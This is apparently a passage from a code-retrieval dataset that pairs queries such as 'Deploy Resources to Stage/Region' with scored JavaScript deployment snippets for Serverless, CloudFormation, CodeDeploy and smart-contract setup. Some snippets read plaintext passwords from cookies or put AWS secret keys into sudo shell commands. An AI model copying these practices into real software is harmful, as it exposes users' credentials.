Cookies.get(\"username\");\n let password = Cookies.get(\"password\");\n if (!this.state.isAuthenticated && username && password) {\n this.signIn(username, password);\n }\n }", "title": "" }, { "docid": "04ca4cf872eccd865e4e6422d067f933", "score": "0.561856", "text": "static logout()\n {\n document.cookie = `auth_token=; max-age=0; path=/`;\n document.location.reload();\n }", "title": "" } ]
aa6a90bc2d2c9e94b87080783146d448
Deploy Resources to Stage/Region
[ { "docid": "4abc9c8145d7673b345595c3c842ed09", "score": "0.77741987", "text": "_deployResources() {\n\n return this.S.actions.resourcesDeploy({\n options: {\n stage: this.evt.options.stage,\n region: this.evt.options.region,\n noExeCf: this.evt.options.noExeCf ? true : false\n }\n });\n }", "title": "" } ]
[ { "docid": "f429f4fbd5d0b0069dab2b683448a1ee", "score": "0.5887049", "text": "function deploy(params, cb) {\n params.resourcePath = config.addURIParams(constants.SERVICES_BASE_PATH + \"/:guid/deploy\", params);\n params.method = \"POST\";\n params.data = params.service;\n\n mbaasRequest.admin(params, cb);\n}", "title": "" }, { "docid": "900a8215fa6b91abf02be35f1b63ce2e", "score": "0.5814153", "text": "function deployComponents() {\n //Show progress bar\n showProgress(\"Deploying...\");\n\n //Perform request\n EnvModelService.deployComponents(currentModelID).then(function (response) {\n //Success\n NotificationService.notify(\"Deployment succeeded.\", \"success\");\n hideProgress();\n hideErrorMessage();\n }, function (response) {\n //Handle failure\n handleActionRequestFailure(response, \"Deployment failed.\");\n });\n }", "title": "" }, { "docid": "3ef359e9318265a435224ae7c1a92eb5", "score": "0.5799111", "text": "function deploy_dev()\n{\n return deploy('mB');\n}", "title": "" }, { "docid": "f6538b3b10d33af158d0abf767ce1f72", "score": "0.57317626", "text": "function deployFull(domain, stack, config, fullTemplate, partialTemplate, content, cli){\n return new Promise((resolve, reject) => {\n let fullstack = false\n let done = false\n //Transfer Nameservers\n transferNs(domain, stack, config, cli).then(data=>{\n if(content) {\n listFiles().then(data => {\n uploadContent(domain, data, false, false, null, cli).then(()=>{\n done? resolve('All Done!'): done=true\n if(fullstack) cli? cli.action.start('Deploying additional resources'): console.log('Deploying additional resources')\n }).catch(err => reject(err))\n }).catch(err => reject(err))\n }\n if(JSON.stringify(fullTemplate) !== JSON.stringify(partialTemplate)){\n fullstack = true\n deployTemplate(domain, fullTemplate).then(()=>{\n if(cli) cli.action.stop()\n CloudFrontDist(domain).then(data => {\n cli? cli.action.start('creating records'): console.log('creating records...')\n createRecords(domain, stack, config, data.domain, cli)\n .then(data=>{\n if(cli) cli.action.stop()\n done? resolve('All Done!'): done=true\n })\n })\n })\n }\n else done? resolve('All Done!'): done=true\n })\n })\n}", "title": "" }, { "docid": "7ca5a0a45f9f6035c771319cfa8c83dd", "score": "0.5582376", "text": "distributeResources(tile) {\n console.log('distibute resources based on occupation');\n }", "title": "" }, { "docid": "56012b9216b6c4f4925760efeccea933", "score": "0.5576671", "text": "async function setupResources(compartmentId, name, image) {\n try {\n // 1. A list of AvailabiityDomains are required to determine where to host each\n // subnet\n const availabiityDomains = await getAvailabilityDomains(identityClient, compartmentId);\n const ad = availabiityDomains[0];\n console.log(\"using availability domain :: \" + ad.name);\n\n // 2. A VCN is required to host subnets.\n const vcnDisplayName = vcnName(name);\n const vcnCidrBlock = \"10.0.0.0/16\";\n const vcn = await createVcn(vcnClient, compartmentId, vcnDisplayName, vcnCidrBlock);\n console.log(\"created VCN : \" + vcn.displayName);\n\n // 3. An Internet Gateway is required to enable the VCN to talk to the wider world.\n const igDisplayName = igName(name);\n const ig = await createInternetGateway(vcnClient, compartmentId, igDisplayName, vcn.id);\n\n // 4. We must configure the VCN's traffics to be routed through the IG.\n const drtDisplayName = drtName(name);\n await configureInternetGateway(vcnClient, compartmentId, vcn.id, ig.id, drtDisplayName);\n\n // 5. A subnet is required to expose and be able invoke the function.\n // In multiple AD regions, subnets can be created in multiple ADs to provide\n // redundency.\n const subnetDisplayName = subnetName(name);\n const subnetCidrBlock = \"10.0.0.0/24\";\n const subnet = await createSubnet(\n vcnClient,\n compartmentId,\n vcn.id,\n subnetDisplayName,\n ad.name,\n subnetCidrBlock\n );\n console.log(\"Created VCN subnet: \" + subnet.displayName);\n\n // 6. Create an Application to host and manage the function(s).\n const appDisplayName = applicationName(name);\n let subnetIds = new Array();\n subnetIds.push(subnet.id);\n const app = await createApplicaiton(\n fnManagementClient,\n compartmentId,\n appDisplayName,\n subnetIds\n );\n console.log(\"Created Application: \" + app.displayName);\n\n // 7. Create a single Function, set its execution image and limits\n const fnDisplayName = functionName(name);\n const memoryInMBs = 128;\n const timeoutInSeconds = 30;\n\n const fn = await CreateFunctionDetails(\n fnManagementClient,\n app.id,\n fnDisplayName,\n image,\n memoryInMBs,\n timeoutInSeconds\n );\n console.log(\"Created Function\" + fn.displayName);\n } catch (error) {\n console.log(\"Error in function: \", JSON.stringify(error));\n }\n}", "title": "" }, { "docid": "e6b0b3971ec54d622f27d5d87dfbde6c", "score": "0.5395607", "text": "async function runServerlessDeploy() {\n await exeq(\n `echo Running sudo sls deploy ${ARGS}...`,\n 'cd geo-api/',\n `sudo sls config credentials --provider aws --key ${AWS_ACCESS_KEY_ID} --secret ${AWS_SECRET_ACCESS_KEY} ${ARGS}`,\n `sudo DATABASE_URI=${DATABASE_URI} sls deploy ${ARGS}`\n )\n}", "title": "" }, { "docid": "e2561c6446bead5858bb42903205afa2", "score": "0.5355927", "text": "function deploy(filename){\n\n\t// read a file from the build folder\n\tfs.readFile('build/'+filename, function(err, data){\n\t\tif(err) throw err;\n\n\t\t// check that it's a code file\n\t\tfunction isCode(thefile){return thefile.search(/(.htm|.js)/i) > -1}\n\n\t\t// if the file is code, compress it before deploying it\n\t\tvar output = isCode(filename) ? compress(data.toString()) : data;\n\n\t\t// deploy the file\n\t\tfs.writeFile('deploy/'+filename, output, function(err){\n\t\t\tif(err) throw err;\n\t\t\tconsole.log(filename+' created');\n\t\t});\n\t});\n}", "title": "" }, { "docid": "c95b51ee189b1991f43bd8e79a11c69d", "score": "0.53305364", "text": "function Deployer() {\n}", "title": "" }, { "docid": "57f069ebcd58848379b898a1bd143c03", "score": "0.53254646", "text": "function executeTask(event, context) {\n\n var params = event;\n var artifactExtractPath = '/tmp/sandbox/';\n var artifactZipPath = '/tmp/application_code.zip';\n var stackName = params.environmentName + \"-\" + params.stackName;\n var cfnManager = new CloudFormationManager();\n var s3Details = {\n Bucket: params.revisionS3Bucket,\n Key: params.revisionS3Key\n };\n\n // zip file in S3 that will be downloaded into tmp/\n return Util.getS3Object(s3Details, artifactZipPath)\n .then(function () {\n return Util.rmdir(artifactExtractPath);\n })\n .then(function () {\n return Util.extractZip(artifactZipPath, artifactExtractPath);\n })\n .then(function () {\n var fs = require(\"fs\");\n var templateBody = fs.readFileSync(artifactExtractPath + params.templatePath, {\n encoding: 'utf8'\n });\n var cnfParams = [\n {\n ParameterKey: \"environmentName\",\n ParameterValue: params.environmentName,\n }\n ];\n return cfnManager.createStack(stackName, templateBody, cnfParams);\n });\n}", "title": "" }, { "docid": "a948279ffd35b49714e0c9ba03e50024", "score": "0.5297716", "text": "executeDeployment({ compilation: { assets }, hash }) {\n // Ensure we're connected to Baqend\n let promise;\n if (this.db) {\n promise = this.db.ready();\n } else {\n promise = require('baqend/cli/account').login({ app: this.app }).then(db => this.db = db);\n }\n\n return promise.then(() => {\n console.log(chalk`{rgb(242,115,84) [Baqend]} Uploading {bold ${hash}} to Baqend app {bold ${this.app}}...`);\n\n if (this.codeDir !== false) {\n return this.uploadCodeDir();\n }\n }).then(() => {\n if (this.bucket !== false) {\n return this.uploadFiles(assets);\n }\n });\n }", "title": "" }, { "docid": "59939e440ef4f1363b50c881c02a2881", "score": "0.527751", "text": "function localProjectDeploy(userObj, deployerCallback) {\n var team = userObj.teamID;\n var fromUserId = userObj.clientId;\n var projPath = EDITABLE_APPS_DIR + team;\n var projectName = team;\n console.log(\"DEPLOYMENT PLACEHOLDER: \" + projectName);\n exec('stop node_' + userObj.teamID, {\n encoding: 'utf8',\n timeout: 30000,\n maxBuffer: 200 * 1024,\n killSignal: 'SIGTERM',\n env: null\n },\n function(error, stdout, stderr) {\n if (error !== null) {\n console.log('exec error: ' + error);\n }\n console.log(\"STOP: \" + stdout);\n exec('start node_' + userObj.teamID, {\n encoding: 'utf8',\n timeout: 30000,\n maxBuffer: 200 * 1024,\n killSignal: 'SIGTERM',\n env: null\n },\n function(error, stdout, stderr) {\n if (error !== null) {\n console.log('exec error: ' + error);\n }\n var launchURL = \"http://\" + userObj.teamID + \".chaoscollective.org/\";\n console.log(\"START: \" + stdout);\n console.log(\"DEPLOY SUCCESSFUL: \" + launchURL);\n setTimeout(function() {\n var teamgroup = nowjs.getGroup(team);\n teamgroup.now.c_processUserFileEvent(\"\", \"launchProject\", fromUserId, 0);\n }, 50);\n setTimeout(function() {\n deployerCallback(null, launchURL);\n }, 1500);\n }\n ); // exec 2\n }\n ); // exec 1\n\n\n /*\n var haibuApp = {\n \"user\": team,\n \"name\": projectName,\n \"domain\": projectName+\".chaoscollective.org\",\n \"repository\": {\n \"type\": \"local\",\n \"directory\": projPath,\n },\n \"scripts\": {\n \"start\": \"server.js\"\n }\n };\n // Attempt to clean up an existing application\n haibuClient.clean(haibuApp, function (err, result) {\n if (err) {\n console.log('Error cleaning app during deployment of: ' + haibuApp.name);\n deployerCallback([err]);\n //return eyes.inspect(err);\n }else{\n console.log('Successfully cleaned app: ' + haibuApp.name);\n haibuClient.start(haibuApp, function (err, result) {\n if (err) {\n console.log('Error starting app during deployment of: ' + haibuApp.name);\n deployerCallback([err]);\n //return eyes.inspect(err);\n }else{\n console.log(\"DEPLOYMENT SUCCESSFUL: \" + haibuApp.name);\n console.log(result);\n var launchURL = \"http://\"+result.drone.host+\":\"+result.drone.port+\"/\";\n deployerCallback(null, launchURL);\n }\n });\n }\n });\n */\n}", "title": "" }, { "docid": "4c232e8fe4e3348a4206c11454081ad4", "score": "0.5277426", "text": "registerActions() {\n\n S.addAction(this._scaffoldAction.bind(this), {\n handler: 'scaffoldAction',\n description: 'Puts the defaults into s-project.json “custom” section AND add default IAM roles to to the “cloudFormation” section in s-project.json',\n context: 'cognito',\n contextAction: 'scaffold',\n options: [],\n parameters: []\n });\n\n S.addAction(this._deployAction.bind(this), {\n handler: 'deployAction',\n description: 'Should create the cognito identity pools and user identity pools and / or deploy all relevant changes for the given stage.',\n context: 'cognito',\n contextAction: 'deploy',\n options: [\n {\n option: 'stage',\n shortcut: 's',\n description: 'Deploy stage'\n },\n {\n option: 'region',\n shortcut: 'r',\n description: 'Deploy region'\n }\n ],\n parameters: []\n });\n\n S.addAction(this._removeAction.bind(this), {\n handler: 'removeAction',\n description: 'Should remove all relevant details from given stage.',\n context: 'cognito',\n contextAction: 'remove',\n options: [\n {\n option: 'stage',\n shortcut: 's',\n description: 'Remove stage'\n },\n {\n option: 'region',\n shortcut: 'r',\n description: 'Remove region'\n }\n ],\n parameters: []\n });\n\n S.addAction(this._triggersAction.bind(this), {\n handler: 'triggersAction',\n description: '',\n context: 'cognito',\n contextAction: 'triggers',\n options: [\n {\n option: 'stage',\n shortcut: 's',\n description: 'Deploy Lambda Triggers stage'\n },\n {\n option: 'region',\n shortcut: 'r',\n description: 'Deploy Lambda Triggers region'\n }\n ],\n parameters: []\n });\n\n return BbPromise.resolve();\n }", "title": "" }, { "docid": "574ab5767f7e9ba3234869839f9109c1", "score": "0.5270152", "text": "startDeploy() {\n return this.createStatus({\n state: 'pending',\n description: 'deploying'\n });\n }", "title": "" }, { "docid": "71ca311ee8c358bebe07507b2abbb2d7", "score": "0.5210797", "text": "function pushOutDeploy(env, id) {\n console.log(\n `Attempting to deploy revision ${id} to environment ${env}, please wait…`\n );\n\n const deployParams = createDeploymentConf(id);\n\n codedeploy\n .createDeployment(deployParams)\n .promise()\n .then(() => {\n console.log(\n 'Deployment started, check Slack or the AWS console to monitor the deployment.'\n );\n })\n .catch((err) => {\n console.error('Error creating deployment', {\n buildId: id,\n error: err,\n });\n });\n}", "title": "" }, { "docid": "340d631940e5d4571216b2a54876a5bd", "score": "0.520645", "text": "_putEnvFile() {\n\n // If noExeCf option, skip\n if (this.evt.options.noExeCf) return BbPromise.resolve();\n\n // Init AWS S3\n let awsConfig = {\n region: this.evt.options.region,\n accessKeyId: this.S.config.awsAdminKeyId,\n secretAccessKey: this.S.config.awsAdminSecretKey\n };\n this.S3 = require('../utils/aws/S3')(awsConfig);\n\n // Create ENV file in new region\n let envFileContents = `SERVERLESS_STAGE=${this.evt.options.stage}\nSERVERLESS_DATA_MODEL_STAGE=${this.evt.options.stage}\nSERVERLESS_PROJECT_NAME=${this.S.state.getProject().name}`;\n\n return this.S3.sPutEnvFile(\n this.S.state.getMeta().variables.projectBucket,\n this.S.state.getProject().name,\n this.evt.options.stage,\n this.evt.options.region,\n envFileContents);\n }", "title": "" }, { "docid": "335ca051f0480e0c14e4ec03d6de9a77", "score": "0.5204724", "text": "function zipAndDeploy() {\n logTaskStart('zip json files');\n\n // create a file to stream archive data to.\n const output = fs.createWriteStream(`${paths.idsWebsite.dist}.zip`);\n const archive = archiver('zip', {\n zlib: { level: 9 } // Sets the compression level.\n });\n\n // listen for all archive data to be written\n // 'close' event is fired only when a file descriptor is involved\n output.on('close', () => {\n logTaskAction('Zipped', `${archive.pointer()} total bytes`);\n logTaskEnd('zip json files');\n\n if (argv.dryRun) {\n console.log(chalk.bgRed.bold('!! DRY RUN !!'));\n statsConclusion();\n } else {\n postZippedBundle();\n }\n });\n\n // This event is fired when the data source is drained no matter what was the data source.\n // It is not part of this library but rather from the NodeJS Stream API.\n // @see: https://nodejs.org/api/stream.html#stream_event_end\n output.on('end', () => {\n console.log('Data has been drained');\n });\n\n // good practice to catch warnings (ie stat failures and other non-blocking errors)\n archive.on('warning', err => {\n if (err.code === 'ENOENT') {\n // log warning\n } else {\n // throw error\n throw err;\n }\n });\n\n // good practice to catch this error explicitly\n archive.on('error', err => {\n throw err;\n });\n\n // pipe archive data to the file\n archive.pipe(output);\n\n archive.directory(paths.idsWebsite.dist, false);\n archive.finalize();\n}", "title": "" }, { "docid": "fd459d58aa87ec53ba3912846e9d761c", "score": "0.51910776", "text": "function deploy(directory, options, cb) {\n readProject(directory, options, function(err, project) {\n if (err) { return cb(err); }\n account.deployProject(project, options, cb);\n });\n}", "title": "" }, { "docid": "693217224a52a9faca56a26ddbd46ec5", "score": "0.51838875", "text": "function deploy_Default()\n{\n gutil.log(gcl.bgGreen(gcl.white(\"Done deploying to default destination\")));\n}", "title": "" }, { "docid": "b0d20ee742755ce54c98d1cb376ed212", "score": "0.51798004", "text": "deploy(path) {\n let code = fs.readFileSync(path, 'utf8');\n let name = path.replace(/^.*[\\\\\\/]/, '');\n // TODO: If it's better, convert address to path name with user address\n let address = SHA256(name + code).toString();\n console.log('name: ' + name);\n console.log('address: ' + address);\n\n if (!fs.existsSync(this.dir)){\n fs.mkdirSync(this.dir);\n }\n fs.writeFile(this.dir + '/' + address + '.js', code, function(err) {\n if (err) return console.error(err);\n console.log(\"Deploy completed\");\n });\n\n /*\n programState.store(address, storage, function() {\n fs.writeFile('programs/' + address + '.js', code, function(err) {\n if (err) return console.error(err);\n console.log(\"Deploy completed\");\n });\n });\n */\n }", "title": "" }, { "docid": "c2049abb2cdd5505e4851e6ec10deb70", "score": "0.51578844", "text": "deployWithDependencies(name, stamp, inboundsDomain) {\n try {\n let config = utils_1.readConfigFile();\n stamp = (stamp ? stamp : config['working-stamp']);\n if (!stamp) {\n return Promise.reject(new Error('Stamp not specified and default stamp not found.'));\n }\n let toBeBundled = [];\n let deployUuid;\n let manifest = this.deployment.getManifest(name);\n if (inboundsDomain) {\n manifest.name = uuid_1.v4().replace(\"_\", \"-\");\n manifest.interconnection = true;\n this.deployment.updateManifest(name, manifest);\n }\n return this.deployment.getDistributableFile(name)\n .then((filepath) => {\n toBeBundled.push(filepath);\n return this.stamp.isRegistered(stamp, manifest.servicename);\n })\n .then((registered) => {\n let serviceConfig = this.deployment.getService(name);\n if (!registered) {\n return this.service.getDistributableFile(serviceConfig)\n .then((filepath) => {\n toBeBundled.push(filepath);\n return Promise.resolve(serviceConfig);\n });\n }\n else {\n return Promise.resolve(serviceConfig);\n }\n })\n .then((serviceConfig) => {\n let components = this.service.getComponents(serviceConfig);\n let promises = [];\n // Components\n for (let name of components) {\n ((name) => {\n promises.push(this.stamp.isRegistered(stamp, name)\n .then((registered) => {\n if (!registered) {\n let componentConfig = this.component.parseName(name);\n return this.component.getDistributableFile(componentConfig)\n .then((filepath) => {\n toBeBundled.push(filepath);\n return Promise.resolve();\n });\n }\n else {\n return Promise.resolve();\n }\n }));\n })(name);\n }\n // Inbounds\n if (inboundsDomain !== undefined) {\n let serviceBuildPath = `${this.service.getRootPath()}/${serviceConfig.domain}/${serviceConfig.name}/build`;\n child_process.execSync(`rm -rf ${serviceBuildPath}`);\n utils_1.createPath(serviceBuildPath);\n let inboundPromises = [];\n let channels = this.service.getProvidedChannels(serviceConfig);\n for (let channel of channels) {\n inboundPromises.push(this.service.generateGenericInbound(serviceConfig, channel, inboundsDomain, manifest.name));\n }\n promises.push(Promise.all(inboundPromises)\n .then(() => {\n toBeBundled.push(serviceBuildPath);\n return Promise.resolve();\n }));\n }\n return Promise.all(promises);\n })\n .then(() => {\n let targetFile = path.join('.', 'builts', `${name}_${Date.now().toString()}.zip`);\n return utils_1.createBundleFile(targetFile, toBeBundled);\n })\n .then((zipfileath) => {\n return this.stamp.register(stamp, zipfileath);\n });\n // return Promise.reject(new Error('Not implemented'));\n }\n catch (error) {\n return Promise.reject(error);\n }\n }", "title": "" }, { "docid": "34ef6da0c2023519d783aecc42f1503f", "score": "0.5149153", "text": "handle_deploy(board) {\n console.log(\"handling deploy...\");\n let deploy_location = this.choose_deploy(board);\n console.log(`attempting to deploy to ${JSON.stringify(deploy_location)}`);\n this.connection.send(this.MessageTypes.DeployRequest, deploy_location);\n }", "title": "" }, { "docid": "08ae45d298b5e50a4022d8d2f538d616", "score": "0.5143045", "text": "createDeploymentResources(config) {\n let service = new service_1.Service(this.workspacePath, this.templatesPath);\n // Calculates which resources should be added to the templates\n // engine configuration.\n let resources = service.getResources(config);\n let processed = [];\n // The resources are processed using generator functions.\n let resourcesIt = this.processResourcesDefaultValues(resources);\n let elem = resourcesIt.next();\n while (!elem.done) {\n let param = elem.value;\n processed.push(param);\n elem = resourcesIt.next();\n }\n return processed;\n }", "title": "" }, { "docid": "b860dcbf721ffeb068cdbd5068932620", "score": "0.5140774", "text": "function addResource() {\n\t'use strict';\n\tconsole.log('Adding resource to managed source.');\n\n\tds.source.resource.add({\n\t\t'id': sourceDetails.id,\n\t\t'resources': JSON.stringify(resourcesToAddLater),\n\t\t'validate': true\n\t}, function(err, response) {\n\t\tif (err) {\n\t\t\tconsole.log(err);\n\t\t} else {\n\t\t\tsourceDetails = response;\n\t\t\tvar newResourceId = sourceDetails.resources[1].resource_id;\n\t\t\tconsole.log('New resource ID: ' + newResourceId);\n\t\t\tremoveResource(newResourceId);\n\t\t}\n\t});\n\n}", "title": "" }, { "docid": "feb1d3dadc44b26e6aa67b6b73bd0c42", "score": "0.5132689", "text": "function deploy(users,cb) {\n var deployCert;\n if (tutil.tlsOn) {\n deployCert = tutil.caCert\n if (peerAddr0.match(tutil.hsbnDns)) deployCert = tutil.hsbnCertPath\n else if (peerAddr0.match(tutil.bluemixDns)) deployCert = tutil.bluemixCertPath\n // Path (under $GOPATH) required for deploy in network mode\n fs.createReadStream(caCert).pipe(fs.createWriteStream(absoluteTestChaincodePath + '/certificate.pem'));\n }\n\n console.log(\"deploying with the role name 'assigner' in metadata ...\");\n var req = {\n fcn: \"init\",\n args: [],\n certificatePath: deployCert,\n metadata: new Buffer(\"assigner\")\n };\n if (devMode) {\n req.chaincodeName = chaincodeName;\n } else {\n req.chaincodePath = testChaincodePath;\n }\n var tx = users.deployer.deploy(req);\n tx.on('submitted', function (results) {\n console.log(\"deploy submitted: %j\", results);\n });\n tx.on('complete', function (results) {\n console.log(\"deploy complete: %j\", results);\n chaincodeID = results.chaincodeID;\n console.log(\"chaincodeID:\" + chaincodeID);\n return cb();\n });\n tx.on('error', function (err) {\n console.log(JSON.stringify(err));\n console.log(\"deploy error: %j\", err.toString());\n return cb(err);\n });\n}", "title": "" }, { "docid": "9e536652bc0ff5ea4cf733b3943e0351", "score": "0.5108393", "text": "deploy(skipFeatureDeployment = false) {\n return this.do(`Deploy(${skipFeatureDeployment})`);\n }", "title": "" }, { "docid": "9e536652bc0ff5ea4cf733b3943e0351", "score": "0.5108393", "text": "deploy(skipFeatureDeployment = false) {\n return this.do(`Deploy(${skipFeatureDeployment})`);\n }", "title": "" }, { "docid": "0be1291f5fb3e65f8e592bbce6f38c3f", "score": "0.509232", "text": "function migrateAssets() {\n\n}", "title": "" }, { "docid": "8e6559ebeee08bf30fe381135820ce40", "score": "0.5088781", "text": "function CloudFormation() {\n const { stackName, capabilities, region } = settings.aws.cloudFormation\n const cloudFormation = new AWS.CloudFormation(settings.aws.cloudFormation)\n\n function execPromise(command) {\n return new Promise((resolve, reject) => {\n exec(command, (err, stdout, stderr) => {\n if (err) return reject(err)\n if (stderr) return reject(stderr)\n return resolve(stdout)\n })\n })\n }\n\n return {\n deploy: (tmplFile, stage) => {\n const deployCommand = `aws cloudformation deploy --template-file ${tmplFile} --stack-name ${stackName}-${stage} --capabilities ${capabilities} --region ${region}`\n console.log('Deploy with aws cli')\n console.log('exec:', deployCommand)\n return execPromise(deployCommand)\n },\n\n listStackResources: stage =>\n cloudFormation.listStackResources({ StackName: `${stackName}-${stage}` }).promise()\n }\n}", "title": "" }, { "docid": "2f721fecbd216c448f31ff2301492127", "score": "0.50817865", "text": "function deploy(module, data) {\n\t\tif (data == null) return;\n\t\t\n\t\t/*\n\t\tlogger.info(\"HTTPClientServicesPacker::deploy - {}\", module[\"key\"]);\n\t\tvar httpBd = require(\"inpaas.httpclient.service.client\");\n\n\t\tfor(var k in data) {\n\t\t\tlogger.info(\"HTTPClientServicesPacker::deploy - deploying: {}\", data[k]);\t\t\n\t\t\t\n\t\t\tvar service = httpBd.get(data[k].key);\n\t\t\tif (service != null) data[k].id = service.id;\n\t\t\t\t\n\t\t\thttpBd.set(data[k]);\n\t\t}\n\t\t*/\n\t}", "title": "" }, { "docid": "1b72157103a263391b2d9da29c24eebb", "score": "0.50804853", "text": "async function handler() {\n await installDocker()\n await installServerlessAndPlugins()\n await runServerlessDeploy()\n}", "title": "" }, { "docid": "d992aa8de24c5a80fcca0db48a56a985", "score": "0.5061888", "text": "async function deploy() {\n try {\n if (START_NETWORK) {\n console.log('------------------- Starting Networks -------------------------\\n');\n const { foreignNetwork } = await startNetworks();\n\n await foreignNetwork.waitForStart();\n }\n console.log('------------------- Deploying -------------------------\\n');\n\n const web3 = new Web3(PROVIDER);\n\n const accounts = await web3.eth.getAccounts();\n\n if (!START_NETWORK) {\n // most likely rsk, so fund the ganache accounts so we can use those\n await web3.eth.sendTransaction({\n to: '0x90f8bf6a479f320ead074411a4b0e7944ea8c9c1',\n from: accounts[8],\n gas: 30000,\n value: web3.utils.toWei('10'),\n });\n await web3.eth.sendTransaction({\n to: '0xffcf8fdee72ac11b5c542428b35eef5769c409f0',\n from: accounts[8],\n gas: 30000,\n value: web3.utils.toWei('10'),\n });\n await web3.eth.sendTransaction({\n to: '0x22d491bde2303f2f43325b2108d26f1eaba1e32b',\n from: accounts[8],\n gas: 30000,\n value: web3.utils.toWei('10'),\n });\n await web3.eth.sendTransaction({\n to: '0xe11ba2b4d45eaed5996cd0823791e0c93114882d',\n from: accounts[8],\n gas: 30000,\n value: web3.utils.toWei('10'),\n });\n await web3.eth.sendTransaction({\n to: '0xd03ea8624c8c5987235048901fb614fdca89b117',\n from: accounts[8],\n gas: 30000,\n value: web3.utils.toWei('10'),\n });\n }\n\n const from = accounts[0];\n\n const baseVault = await LPVault.new(web3);\n const baseLP = await LiquidPledging.new(web3);\n const lpFactory = await LPFactory.new(web3, baseVault.$address, baseLP.$address, {\n gas: 6700000,\n });\n const recoveryVault = (await RecoveryVault.new(web3)).$address;\n const r = await lpFactory.newLP(from, recoveryVault, { $extraGas: 100000 });\n\n const vaultAddress = r.events.DeployVault.returnValues.vault;\n const vault = new LPVault(web3, vaultAddress);\n\n const lpAddress = r.events.DeployLiquidPledging.returnValues.liquidPledging;\n const liquidPledging = new LiquidPledging(web3, lpAddress);\n\n // set permissions\n const kernel = new Kernel(web3, await liquidPledging.kernel());\n const acl = new ACL(web3, await kernel.acl());\n await acl.createPermission(\n accounts[0],\n vault.$address,\n await vault.CANCEL_PAYMENT_ROLE(),\n accounts[0],\n { $extraGas: 200000 },\n );\n await acl.createPermission(\n accounts[0],\n vault.$address,\n await vault.CONFIRM_PAYMENT_ROLE(),\n accounts[0],\n { $extraGas: 200000 },\n );\n await acl.createPermission(\n accounts[0],\n vault.$address,\n await vault.SET_AUTOPAY_ROLE(),\n accounts[0],\n { $extraGas: 200000 },\n );\n await vault.setAutopay(true, { from: accounts[0], $extraGas: 100000 });\n\n // deploy campaign plugin\n const tokenFactory = await MiniMeTokenFactory.new(web3);\n const lppCampaignFactory = await LPPCampaignFactory.new(web3, kernel.$address, {\n $extraGas: 100000,\n });\n await acl.grantPermission(\n lppCampaignFactory.$address,\n acl.$address,\n await acl.CREATE_PERMISSIONS_ROLE(),\n {\n $extraGas: 100000,\n },\n );\n await acl.grantPermission(\n lppCampaignFactory.$address,\n liquidPledging.$address,\n await liquidPledging.PLUGIN_MANAGER_ROLE(),\n { $extraGas: 100000 },\n );\n\n const campaignApp = await LPPCampaign.new(web3);\n await kernel.setApp(\n await kernel.APP_BASES_NAMESPACE(),\n await lppCampaignFactory.CAMPAIGN_APP_ID(),\n campaignApp.$address,\n { $extraGas: 100000 },\n );\n\n // deploy milestone plugin\n const lppCappedMilestoneFactory = await LPPCappedMilestoneFactory.new(web3, kernel.$address, {\n $extraGas: 100000,\n });\n await acl.grantPermission(\n lppCappedMilestoneFactory.$address,\n acl.$address,\n await acl.CREATE_PERMISSIONS_ROLE(),\n {\n $extraGas: 100000,\n },\n );\n await acl.grantPermission(\n lppCappedMilestoneFactory.$address,\n liquidPledging.$address,\n await liquidPledging.PLUGIN_MANAGER_ROLE(),\n { $extraGas: 100000 },\n );\n\n const milestoneApp = await LPPCappedMilestone.new(web3);\n await kernel.setApp(\n await kernel.APP_BASES_NAMESPACE(),\n await lppCappedMilestoneFactory.MILESTONE_APP_ID(),\n milestoneApp.$address,\n { $extraGas: 100000 },\n );\n\n // deploy ERC20 test token\n const miniMeToken = await MiniMeToken.new(\n web3,\n tokenFactory.$address,\n 0,\n 0,\n 'MiniMe Test Token',\n 18,\n 'MMT',\n true,\n { from: accounts[0] },\n );\n\n // generate tokens for all accounts\n\n // we first generate all tokens, then transfer, otherwise MetaMask will not show token balances\n // await miniMeToken.generateTokens(accounts[10], web3.utils.toWei('200000'), {\n // from: accounts[0],\n // });\n await miniMeToken.generateTokens(accounts[0], web3.utils.toWei('10000'), {\n from: accounts[0],\n });\n\n // transfer tokens to all other home accounts, so that Meta mask will detect these tokens\n // note: rsk node sucks at handling async txs & will fail, so we have to do it 1 by 1\n // console.log('here', await miniMeToken.balanceOf(accounts[10]));\n // await miniMeToken.transfer(accounts[0], web3.utils.toWei('10000'), { from: accounts[10] });\n // console.log('here');\n // await miniMeToken.transfer(accounts[1], web3.utils.toWei('10000'), { from: accounts[10] });\n // console.log('here');\n // for (const a of accounts) {\n // await miniMeToken.transfer(a, web3.utils.toWei('10000'), { from: accounts[10] });\n // }\n // await Promise.all(\n // accounts.map(async a =>\n // miniMeToken.transfer(a, web3.utils.toWei('10000'), { from: accounts[10] }),\n // ),\n // );\n\n const miniMeTokenState = new MiniMeTokenState(miniMeToken);\n const st = await miniMeTokenState.getState();\n accounts.map(a =>\n console.log('MMT balance of address ', a, ' > ', web3.utils.fromWei(st.balances[a])),\n );\n\n console.log('\\n\\n', {\n vault: vault.$address,\n liquidPledging: liquidPledging.$address,\n lppCampaignFactory: lppCampaignFactory.$address,\n lppCappedMilestoneFactory: lppCappedMilestoneFactory.$address,\n miniMeToken: {\n name: 'MiniMe Token',\n address: miniMeToken.$address,\n symbol: 'MMT',\n decimals: 18,\n },\n });\n process.exit(); // some reason, this script won't exit. I think it has to do with web3 subscribing to tx confirmations?\n } catch (e) {\n console.log(e);\n process.exit();\n }\n}", "title": "" }, { "docid": "3c3abd76cf5c8c560643c016adb7b2ac", "score": "0.50436497", "text": "writing() {\n var self = this;\n var done = self.async();\n self.appStaticFiles = function () {\n\n //POM xml file\n self.fs.copyTpl(\n self.templatePath('pom.xml'),\n self.destinationPath('pom.xml'),\n {\n groupId: self.config.get('groupId'),\n artifactId: self.config.get('artifactId'),\n packaging: self.config.get('packaging')\n }\n );\n // Application servlet\n self.fs.copyTpl(\n self.templatePath('servlet_process_application.java'),\n self.destinationPath(self.config.get('applicationPackagePath') + '/' + self.config.get('applicationClassName') + '.java'),\n {\n applicationPackage: self.config.get('applicationPackage'),\n applicationName: self.config.get('applicationName'),\n applicationClassName: self.config.get('applicationClassName')\n }\n );\n var process_archive = utils.get_process_archive(self);\n var processesFilePath = self.destinationPath(\"src/main/resources/META-INF/processes.xml\");\n if(self.fs.exists(processesFilePath)){\n fs.readFile(processesFilePath,'utf8',function(err,data){\n if(err){\n self.log(chalk.red(err));\n return;\n }\n var doc = new DOMParser().parseFromString(data);\n\n var processApplication = doc.getElementsByTagName(\"process-application\");\n var processArchives = doc.getElementsByTagName(\"process-archive\");\n var found = false;\n var processes = [];\n for (var j=0;j< processArchives.length;j++){\n if ( 